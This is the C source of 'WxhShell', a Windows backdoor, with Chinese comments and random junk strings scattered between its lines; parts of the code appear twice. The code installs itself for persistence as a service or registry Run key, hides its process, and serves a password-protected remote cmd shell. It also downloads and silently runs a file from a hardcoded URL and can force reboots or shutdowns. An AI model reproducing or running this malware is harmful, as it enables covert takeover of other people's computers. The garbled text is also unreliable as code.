3Jx DWORD PebBaseAddress; xK3;/!\` DWORD AffinityMask; Kx0dOkE DWORD BasePriority; eVXbYv=gJ@ ULONG UniqueProcessId; idy:Jei} ULONG InheritedFromUniqueProcessId; .SN]hLV5 } PROCESS_BASIC_INFORMATION; T1=M6iJ :TI1tJS~* PROCNTQSIP NtQueryInformationProcess; *cI Xae^Y7 <bI,y_<K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z, [+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VIzZmd q?&&:.H"?5 HANDLE hProcess; rI/KrBM PROCESS_BASIC_INFORMATION pbi; 2-84 4>* `26 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MzD0F#Y if(NULL == hInst ) return 0; W( YJz#]6_ "#jKk6{I0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K#r`^aUc g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I]X<L2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kZQ;\QL1} UhK,H if (!NtQueryInformationProcess) return 0; e{&gF1"[ 3yN1cd"#? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BL67sva; if(!hProcess) return 0;
sa* -B :cTi$n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qv\yQ&pj v*3:8Y, CloseHandle(hProcess); uE(w$2Wi 1CbC|q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); whCv9)x if(hProcess==NULL) return 0; v(`$%V. ?9+;[X HMODULE hMod; 2uIAnbW]M char procName[255]; FhGbQJ?[3 unsigned long cbNeeded; Q*:
Ow] 14RL++ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pjFgIG2=9 B|v
fkX2f CloseHandle(hProcess); n:P}K?lg 16vfIUtb if(strstr(procName,"services")) return 1; // 以服务启动 f$|v xh0!H|
R return 0; // 注册表启动 uypD`%pC } LKa_ofY V 6F,X`7 // 主模块 TL>e[PBO int StartWxhshell(LPSTR lpCmdLine) _qV_(TpS+ { X}$S|1CjO SOCKET wsl; Dg`W{oj BOOL val=TRUE; Cb.Aw! int port=0; fJuJ#MX{: struct sockaddr_in door; (C&f~U R<-KXT9 if(wscfg.ws_autoins) Install(); &3<]FK &!ZpBR( port=atoi(lpCmdLine); b11C3TyQT v;SJgZK if(port<=0) port=wscfg.ws_port; 8J} J;Ga M4| L WSADATA data; Sc&_6}K if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;XT$rtuX r_G`#Z_5F if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !SnpesTn setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tBrVg<]t door.sin_family = AF_INET; F~EriO door.sin_addr.s_addr = inet_addr("127.0.0.1"); k.%F!sK door.sin_port = htons(port); m`Z4#_s2 8Xr"4;}f+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C}CX n X closesocket(wsl); v!2`hqO return 1; "2mVW_k } F>OYZOC] 7DDot_qb if(listen(wsl,2) == INVALID_SOCKET) { $\H>dm closesocket(wsl); rAWBuEU;! return 1; i>;G4 } [{YV<kN Wxhshell(wsl); %llG/]q# WSACleanup(); l<5!R;?$ j2+&B9( return 0; Z\x6 3jeR;N]x } 5@Sb[za J#\/znT // 以NT服务方式启动 ~jgd92`{z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V;$lgTs|' { ?S"xR0 * DWORD status = 0; \a<E3
< DWORD specificError = 0xfffffff; AK[c!mzx 52oR^| serviceStatus.dwServiceType = SERVICE_WIN32; >a,w8 ^7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~34$D],D serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QeGU]WU{ serviceStatus.dwWin32ExitCode = 0; 1z)+P1nH] serviceStatus.dwServiceSpecificExitCode = 0; {zw#My
serviceStatus.dwCheckPoint = 0; DGcd|>q serviceStatus.dwWaitHint = 0; Y #\e~>K .*ZNZ|g_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #C|iW@ if (hServiceStatusHandle==0) return; `+U-oqs Ab2VF;z : status = GetLastError(); YPN|qn( if (status!=NO_ERROR) K.z@Vx. { h<?Vzl serviceStatus.dwCurrentState = SERVICE_STOPPED; #p^D([k
\ serviceStatus.dwCheckPoint = 0; uy$o%NL-7 serviceStatus.dwWaitHint = 0; _$r+*nGDz serviceStatus.dwWin32ExitCode = status; d<y
B ~Y serviceStatus.dwServiceSpecificExitCode = specificError; fSj^/> SetServiceStatus(hServiceStatusHandle, &serviceStatus); f.!cR3XgV return; ~`y6YIJ3 } B|!Re4`0 d6uL;eR serviceStatus.dwCurrentState = SERVICE_RUNNING; )9}z^+TH serviceStatus.dwCheckPoint = 0; lm$T`:c serviceStatus.dwWaitHint = 0; wDn5|F}i& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "F=O } zDX-}t_'q m$]?Jq // 处理NT服务事件,比如:启动、停止 ZW2U9 VOID WINAPI NTServiceHandler(DWORD fdwControl) HR4^+x { (u *-( switch(fdwControl) $ #CkI09 { w!61k \ case SERVICE_CONTROL_STOP: IyMKV$" serviceStatus.dwWin32ExitCode = 0; +ft?aB@ serviceStatus.dwCurrentState = SERVICE_STOPPED; s+aeP serviceStatus.dwCheckPoint = 0; ;:v:pg8qc serviceStatus.dwWaitHint = 0; d35 ,[ { |',Gy\Sj SetServiceStatus(hServiceStatusHandle, &serviceStatus); B7cXbUAQs } By"
=]|Q return; }_K7}] 1 case SERVICE_CONTROL_PAUSE: JD.WH|sZ5 serviceStatus.dwCurrentState = SERVICE_PAUSED; Kpg]b"9.R break; |@Bl?Bs+ case SERVICE_CONTROL_CONTINUE: (%tKGeb serviceStatus.dwCurrentState = SERVICE_RUNNING; vFQ'sd]C break; 1D 6iJ case SERVICE_CONTROL_INTERROGATE: u\50,N9Wp{ break; YI|7a#*F }; 9\V^q9l SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1%H]2@ } 8!1vsEqv =^NR(:SaaU // 标准应用程序主函数 M5wj79'l" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `C,47 9~J { SwLul4V h&&ufF]D // 获取操作系统版本 $Die~rPU OsIsNt=GetOsVer(); O.}{s; GetModuleFileName(NULL,ExeFile,MAX_PATH); ;'*"(F=D6 ~i(X{^,3 // 从命令行安装 ~qs97' if(strpbrk(lpCmdLine,"iI")) Install(); 4\>Cnc{ O",:0< // 下载执行文件 M*|x,K= U if(wscfg.ws_downexe) { WJ8i,7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VGkwrS;+I WinExec(wscfg.ws_filenam,SW_HIDE); i&RPYbT{ } K^EW*6vB8O Ao(Xz$cQfW if(!OsIsNt) { YHl6M&*@ // 如果时win9x,隐藏进程并且设置为注册表启动 OQA}+XO HideProc(); awGI|d StartWxhshell(lpCmdLine); (z\@T`6` } %+qD-{& else "d9"Md0k if(StartFromService()) h>9GfF3 // 以服务方式启动 }5\F <b^@Y StartServiceCtrlDispatcher(DispatchTable); (z#qkKL{^ else iCnKQG // 普通方式启动 ,@Xl? StartWxhshell(lpCmdLine); p1q"[)WVn^ Bi9 S1p return 0; l@%MS\{ } YRqIC -_ }O-|b#Q "1t%J7c_ 7?xTJN)G =========================================== rUR{MF&]D O$+0 . >T=($:n vdV@G`)HPr ZG3u xx_]e4 " g ?qm >X 1ve
%xF #include <stdio.h> HTAJn_ #include <string.h> D:4Iex9$F" #include <windows.h> (w}iEm\b #include <winsock2.h> )[i0~o[ #include <winsvc.h> W$=Ad * #include <urlmon.h> r>+\9q1 1:(qoA: #pragma comment (lib, "Ws2_32.lib") @lRTp #pragma comment (lib, "urlmon.lib") 9ePG-=5I KEEHb2q #define MAX_USER 100 // 最大客户端连接数 >+ulLQqe #define BUF_SOCK 200 // sock buffer nkUSd}a`r #define KEY_BUFF 255 // 输入 buffer EBc_RpC/Z V4PI~"4q#1 #define REBOOT 0 // 重启 hCS|(8g #define SHUTDOWN 1 // 关机 g1UP/hNJ\8 e0Zwhz, #define DEF_PORT 5000 // 监听端口 ihS;q6ln wylbs@ #define REG_LEN 16 // 注册表键长度 qj/
pd
7\ #define SVC_LEN 80 // NT服务名长度 -{n2^vvF ge
%ytrst // 从dll定义API /}t>o*
x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (e.?). e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &@NTedg! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aNs~Uad1U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }8`W%_Yk 4>x]v!d // wxhshell配置信息 hH_&42E6 struct WSCFG { noJ5h| int ws_port; // 监听端口 |*W_ char ws_passstr[REG_LEN]; // 口令 2:3-mWE int ws_autoins; // 安装标记, 1=yes 0=no TrD2:N}dI char ws_regname[REG_LEN]; // 注册表键名 Er509zZ,[ char ws_svcname[REG_LEN]; // 服务名 1j"_@?H[ char ws_svcdisp[SVC_LEN]; // 服务显示名 &3~lZa;D char ws_svcdesc[SVC_LEN]; // 服务描述信息 CobMagPhr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cAnL,?_v int ws_downexe; // 下载执行标记, 1=yes 0=no Q$u&/g3NvL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mCah{~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O|wu;1pQ )IQ5Qu }; q% *-4GP >ka*-8? // default Wxhshell configuration ~QzUQYG* struct WSCFG wscfg={DEF_PORT, qRi;[` "xuhuanlingzhe", jd ]$U_U( 1, J'{69<`Dl "Wxhshell", |[qq
$ "Wxhshell", x\0(l5> "WxhShell Service", {EU?{# "Wrsky Windows CmdShell Service", ~xfoZiIA} "Please Input Your Password: ", B6 rz 1, "u^%~ 2 "http://www.wrsky.com/wxhshell.exe", ,6TF]6: "Wxhshell.exe" (OS -v~{r@ }; /6S% h-#\ i;Y3pF0%P // 消息定义模块 WRIOj Q: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]$Ud`<Xnx char *msg_ws_prompt="\n\r? for help\n\r#>"; yR}PC/> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y%$@ZYW char *msg_ws_ext="\n\rExit."; GY% ^!r char *msg_ws_end="\n\rQuit.";
S\wh
*'Y char *msg_ws_boot="\n\rReboot..."; ygI81\D char *msg_ws_poff="\n\rShutdown..."; rF n%e char *msg_ws_down="\n\rSave to "; Z8mSm[w "MS}@NLUW char *msg_ws_err="\n\rErr!"; y-C=_v_X char *msg_ws_ok="\n\rOK!"; $U. >]i xAlyik
char ExeFile[MAX_PATH]; DPV>2'
fV int nUser = 0; XL=Y~7b HANDLE handles[MAX_USER]; f[r?J/;P9 int OsIsNt; 10.u I'sq0^ SERVICE_STATUS serviceStatus; `eZ
+Pf". SERVICE_STATUS_HANDLE hServiceStatusHandle; {9mXJu$cc MC\rx=cR\ // 函数声明 m 0jm$>:Z int Install(void); F"I{_yleq' int Uninstall(void); -O&u;kh4g int DownloadFile(char *sURL, SOCKET wsh); V%|CCrR int Boot(int flag); CB!5>k+mC void HideProc(void); 7c.96FA int GetOsVer(void); Jeb"t1.$ int Wxhshell(SOCKET wsl); .C HET] void TalkWithClient(void *cs); I7=g8/JD int CmdShell(SOCKET sock); u
V[:e|v int StartFromService(void); vH[G#A~4 int StartWxhshell(LPSTR lpCmdLine); s}1S6*Cr Aho zrroV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,?k0~fuG6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0;J#".(KQ +O]jklS4H // 数据结构和表定义 UYw_k\ SERVICE_TABLE_ENTRY DispatchTable[] = N"',
{ 1&7~.S;km {wscfg.ws_svcname, NTServiceMain}, -=;V*; {NULL, NULL} _R/^P>Q? }; D6Q6yNE fCMFPhF // 自我安装 heizO",8.& int Install(void) --D&a;CO} { A,H|c=" char svExeFile[MAX_PATH]; M'(4{4rC HKEY key; (B/od# nU strcpy(svExeFile,ExeFile); W~W`fm k_,wa]ws$ // 如果是win9x系统,修改注册表设为自启动 "J.7@\^ h/ if(!OsIsNt) { 7NQ@q--3s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]'"aVGqa. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5u:{lcC.X RegCloseKey(key); 4Y'Kjx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( M$2CL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Wn"h|S RegCloseKey(key); I38j[Xk return 0; $T#yxx } UZ*Yt } NP+*L|-; } C<G`wXlP| else { M= ]]kJ:I M"W~%
// 如果是NT以上系统,安装为系统服务 $E >) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*h+c8|zI if (schSCManager!=0) {e/6iSpT { U=Hx&g SC_HANDLE schService = CreateService hRc.^"q9 ( Y-ZTv(< schSCManager, Bu{1^g: wscfg.ws_svcname, X:/Y^Xu wscfg.ws_svcdisp, 6he (v SERVICE_ALL_ACCESS, Y%GIKtP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fR^aFT SERVICE_AUTO_START, :nLhg$wMs SERVICE_ERROR_NORMAL, Yw!(]8PYdU svExeFile, 1woBw>g NULL, {hRM=f7 NULL, Fv!KLw@
NULL, /c4@QbB NULL, o6b\
w NULL f3E%0cg ); >Nho`m( if (schService!=0) f7du1k3 { WVMkLMg8d CloseServiceHandle(schService); Q>QES-.l CloseServiceHandle(schSCManager); {K,KIj" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P;8D|u^\* strcat(svExeFile,wscfg.ws_svcname); /4xp?Lo: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v:xfGA nP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^_0l(ke RegCloseKey(key); Cju%CE3a return 0; Jx-dWfe } Z\1wEGP7{ } USrBi[_ci\ CloseServiceHandle(schSCManager); l,w$!FnmR } 9$iDK$% } Vmb `%k20' p$+.] return 1; naaww } IPTEOA<M[ q\I2lZ // 自我卸载 Xlp $xp" int Uninstall(void) W]aX}>0 { jn:9Cr,o;g HKEY key; qiyX{J7Z J|gRG0O9Ya if(!OsIsNt) { }$wWX}@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==^9_a^ RegDeleteValue(key,wscfg.ws_regname); +`p@md2L1 RegCloseKey(key); QKAt%"1& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?*K{1Ghf RegDeleteValue(key,wscfg.ws_regname); 4\rw JD< RegCloseKey(key); M#'j7EMu return 0; 9~lC/I')t } m.':5 } uB*Y}"Fn } ),%(A~\ else { -0G/a&ss $KAOJc4< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); loR,f&80=O if (schSCManager!=0) -V\$oVS0S { JsY|Fv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !o{>[ if (schService!=0)
(;(P3h { g=q1@ ) if(DeleteService(schService)!=0) { P)9$}9i CloseServiceHandle(schService); P-2 5]- CloseServiceHandle(schSCManager); KJQW ))%e return 0; V
W2+ Bs} } jSKhWxL;' CloseServiceHandle(schService); d:"#_ } a%igc^GS2 CloseServiceHandle(schSCManager); VAL]\@Q} } Oh]RIWL } ~IhLjE L &nqlH@+~ return 1; N#!**Q 0 } ZaKT~f%%z /ZpwJc`e // 从指定url下载文件 ) Z^b)KAk int DownloadFile(char *sURL, SOCKET wsh) FcaO- { fZ7Ap3dmP HRESULT hr; 4eh~/o&h char seps[]= "/"; W5c?f, char *token; :IB@@5r1 char *file; O% }EpIP_ char myURL[MAX_PATH]; k __MYb char myFILE[MAX_PATH]; NB@TyU ROWrkJI>i strcpy(myURL,sURL); E{B8+T:3 token=strtok(myURL,seps); Zp'q;h_ while(token!=NULL) K>_~zW nc { |tVWmm^m file=token; *F)+- BB token=strtok(NULL,seps); J4VyP["m } 6upCL:A~r vk>EFm8l GetCurrentDirectory(MAX_PATH,myFILE); =j&qat strcat(myFILE, "\\"); !8ch&cr)o+ strcat(myFILE, file); *ke9/hO1i send(wsh,myFILE,strlen(myFILE),0); >x0) send(wsh,"...",3,0); -]$=.0 l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4n9c if(hr==S_OK) qbZY[Q+F return 0; :3h'Hr else ]\ DIJ>JZ return 1; M>m+VsJV fx#Krr@ } 7sglqf> Ao}J // 系统电源模块 )/4xR] int Boot(int flag) C(jUM!m { +@5@`"Jry HANDLE hToken; T:?01?m TOKEN_PRIVILEGES tkp; FM=-^l, }(-2a*Z;Y if(OsIsNt) { |(Q !$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .CY;- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hi5}s
tkp.PrivilegeCount = 1; Aav|N3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -q6d&D'B+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6f^q >YP if(flag==REBOOT) { [:Y`^iR. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) </@3}rfUPg return 0; S1&Df%Ra } Du7DMo=l else { o+F]80CH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Co&(;zf return 0; f0Zn31c^ } z pV+W-j] } JA(M'&q4 else { k}tTl 2 if(flag==REBOOT) { "H"4]m1Wc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YgfQ{3^I return 0; iLR^ V! } fJ8Q\lb<_ else { KsR^:_e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lQ!)0F return 0; DwBKqhu } gT8% ?U: } b$O1I[o x=jS=3$8 return 1; ^`<
%Pk } XaH%i~}3 ?VaAVxd29 // win9x进程隐藏模块 8*[Q{:'. void HideProc(void) l2[{T^ { (Ymj
~P5;k_& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aNxq_pRb if ( hKernel != NULL ) 5uxB)Dx) { @Q#<-/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,'>,N/JA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WiBO8N,%` FreeLibrary(hKernel); )cUFb:D*" } Y-vLEIX= R[Y{pT,AY return; L-V+ `![{ } ujH ^ ML
,R8:Y*@P // 获取操作系统版本 10`]&v]T int GetOsVer(void) 2S#|[wq( { $u-yw1FT OSVERSIONINFO winfo; F `cuV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D1g
.Fek5 GetVersionEx(&winfo); b,MzHx=im if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z&@O\>Q return 1; "T0s7LWp else i*9Bu; return 0; SZ )AO8& }
,]* MI" ~wl4 // 客户端句柄模块 NKJ+DD:' int Wxhshell(SOCKET wsl) a
]~Yi.H { p;k7\7 SOCKET wsh; <+iL@'SgF struct sockaddr_in client; N-cLp}D}WB DWORD myID; |y}iOI $CgR~D2G while(nUser<MAX_USER) i<ug("/ { )*tV int nSize=sizeof(client); WD${f#]N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hNWZ1r~_ if(wsh==INVALID_SOCKET) return 1;
$V?h68[c =MCQNyf+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pjVF^gv,* if(handles[nUser]==0) ICxj$b closesocket(wsh); XI"8d.VR else K[/sVaPZ nUser++; I&lb5'6D } 6^vseVx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yj-JB 5:W5@e{ return 0; `N.^+Mvx- } c"H59 jE 8a}et8df: // 关闭 socket !da[#zK void CloseIt(SOCKET wsh) ']]5xH*U { sH_5.+,` closesocket(wsh); Z&w/JP? nUser--; |MEu"pY) ExitThread(0); g E#4 3 } Sh(W s2b7 'L1=:g.\i // 客户端请求句柄 tITx+i void TalkWithClient(void *cs) A.@/~\ { yR|Beno Mb0l*'ZF SOCKET wsh=(SOCKET)cs; nz%{hMNYH char pwd[SVC_LEN]; zUNWcv!& " char cmd[KEY_BUFF]; l]wjH5mz=i char chr[1]; 2qQG int i,j; S.Rqu+ S(nZ]QEG while (nUser < MAX_USER) { g4"0:^/ { t1|6R0 if(wscfg.ws_passstr) { dY6A)[dAH' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^S]-7>Yyr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hnf7Q l} //ZeroMemory(pwd,KEY_BUFF); 4x;vn8yh i=0; F]L$xU while(i<SVC_LEN) { L
UitY hynX5,p;. // 设置超时 dd=';%? fd_set FdRead; G,]%dZHe struct timeval TimeOut; WBIJ9e2~ FD_ZERO(&FdRead); p#fd+ FD_SET(wsh,&FdRead); Kx[u9MD TimeOut.tv_sec=8; yi-S^ TimeOut.tv_usec=0; =:~%$5[[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }g@5%DI] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )08mG_&atL bU+
z(Eg6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1_Ag:>#X pwd=chr[0]; Z6Kw'3 if(chr[0]==0xd || chr[0]==0xa) { E/[<} ./ pwd=0; y;1
'hP& break; s'Op|`&X } ]`S35b i++; 7 g2@RKo } tOQura |}YeQl // 如果是非法用户,关闭 socket _U%fD|t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }%m:^*@$9 } gOnVN6 @jvF[wi; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !~Am1\02 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `tZ-8f _t+.I9kQ while(1) { "h >B`S O
F|3y~z ZeroMemory(cmd,KEY_BUFF); =5PNH 2 f-M 9OI // 自动支持客户端 telnet标准 D. _*p j=0; iCK p"(kf while(j<KEY_BUFF) { >AsrPU[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z[&7NJo( cmd[j]=chr[0]; ,m^@S if(chr[0]==0xa || chr[0]==0xd) { ED>T2.:{ cmd[j]=0; `z?6.+C break; x9&{@
?o } F_ Cp, j++; 5*#!w1X } E$w2SQ [l9iWs'M // 下载文件 k'hJ@6eKS if(strstr(cmd,"http://")) { Gx.iZOOH/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9sR?aW^$,/ if(DownloadFile(cmd,wsh)) E}* send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!oD9&W4~ else Sjogv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP`KI'aUN } :gvw5h% else { P%- @AmO^_ )w.\xA~| switch(cmd[0]) { k~<b~VcU /M.@dW7
w // 帮助 p%_m!
case '?': { ee9nfvG- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Bd13%>) break; Gl+Ql?| } ?3v Oc/2@ // 安装 iHp@R-g case 'i': { ATdK)gG if(Install()) 0A7 qO1%xw send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`O)I&KH else
~MOab e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rp!R&U/ break; e!:/enQo } [^U#ic>cT // 卸载 %kcyE<c case 'r': { D)u 9Y if(Uninstall()) QnWM<6xK" send(wsh,msg_ws_err,strlen(msg_ws_err),0); <`~zKFUQ[ else 7i,Z c] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kCq]#e~wq break; &vy/Vd } )Apg // 显示 wxhshell 所在路径 yLo{^4a. case 'p': { [ NSsT>C char svExeFile[MAX_PATH]; R-8/BTls7 strcpy(svExeFile,"\n\r"); le*1L8n$' strcat(svExeFile,ExeFile); NvZ )zE send(wsh,svExeFile,strlen(svExeFile),0); axRzn:f break; 7:Jyu/*] } -]uN16\ F // 重启 ?&H1C4
case 'b': { TvEN0RV2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Nky?* if(Boot(REBOOT)) +:s]>R eDa send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_~X(izc else { j70]2NgX closesocket(wsh); ZW]Q|vPh4U ExitThread(0); 7,\Uk| } m}x&]">9 break; |CC(`<\R } e@-"B9~ // 关机 ae)0Yu`*G7 case 'd': { UHtxzp =[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Lz2"JI if(Boot(SHUTDOWN)) Q}?yj,DD send(wsh,msg_ws_err,strlen(msg_ws_err),0); :oH~{EQ else { .Q,IO CHk closesocket(wsh); y5X HJUTu ExitThread(0); gZ5E%']sT } " iCR68e break; &*I\~;1 } suh@ // 获取shell n.[0#Ur&} case 's': { {L!w/Ie X CmdShell(wsh); MZ(TST" closesocket(wsh); q+MV@8w ExitThread(0); M>mk=-l break; v}=3 } reyN5n~4U // 退出 zS@"ITy case 'x': { $GzTDq
Y9@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KPGX/l CloseIt(wsh); `Z3Qx~fx break; CvCk#:@HM } Cmq.V@ // 离开 AC=/BU3<yc case 'q': { RP2MtP"M send(wsh,msg_ws_end,strlen(msg_ws_end),0); d(>7BV closesocket(wsh); mulK(mp WSACleanup(); `ym@U(;N exit(1); TK )Kq break; iY=M67V } lWv3c!E` } 58H [sM4> } ^y?7B_%:B# vrtK~5K // 提示信息 %$b)l?! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "t<${ } @j%r6N } \dyJ=tg _Ee`Uk return; {gE19J3 } *t;'I -1w^ :*bmc /c // shell模块句柄 Gs*FbrY int CmdShell(SOCKET sock) U9D4bn D { {emO=@CP STARTUPINFO si; w ' E ZeroMemory(&si,sizeof(si)); zN(fZT}K5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g)*[W>M si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f-9&n4=H PROCESS_INFORMATION ProcessInfo; yZ[H&> char cmdline[]="cmd"; [)}F4Jsz% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `;7^@ k return 0; u,:GJU } (C#9/WO? {:&t;5qz^ // 自身启动模式 DiK@>$v int StartFromService(void) i|X ;n { 1 l'Wb2g>A typedef struct %nJ^0X_] { t[B\'f! DWORD ExitStatus; 5oQy
$Y DWORD PebBaseAddress; Y{X79Rd DWORD AffinityMask; ^|@t 2Rp@ DWORD BasePriority; h+k:G9;sS ULONG UniqueProcessId; tT}*%A ULONG InheritedFromUniqueProcessId; AL/q6PWi } PROCESS_BASIC_INFORMATION; \UI7H1XDH ]X,C9 PROCNTQSIP NtQueryInformationProcess; [&n2 yt m~ %\f8w-x static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p=U*4[9k static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *0)vsBi 6(4FC?Y7 HANDLE hProcess; +'abAST
t PROCESS_BASIC_INFORMATION pbi; :\x)`lu N"2Ire HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JcEPwF. if(NULL == hInst ) return 0; VnUWUIVJ OWs K>egD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?5e:w?&g@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2f1WT g) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YEoQIR xzg81sV7 if (!NtQueryInformationProcess) return 0; 'c 0]8Y4
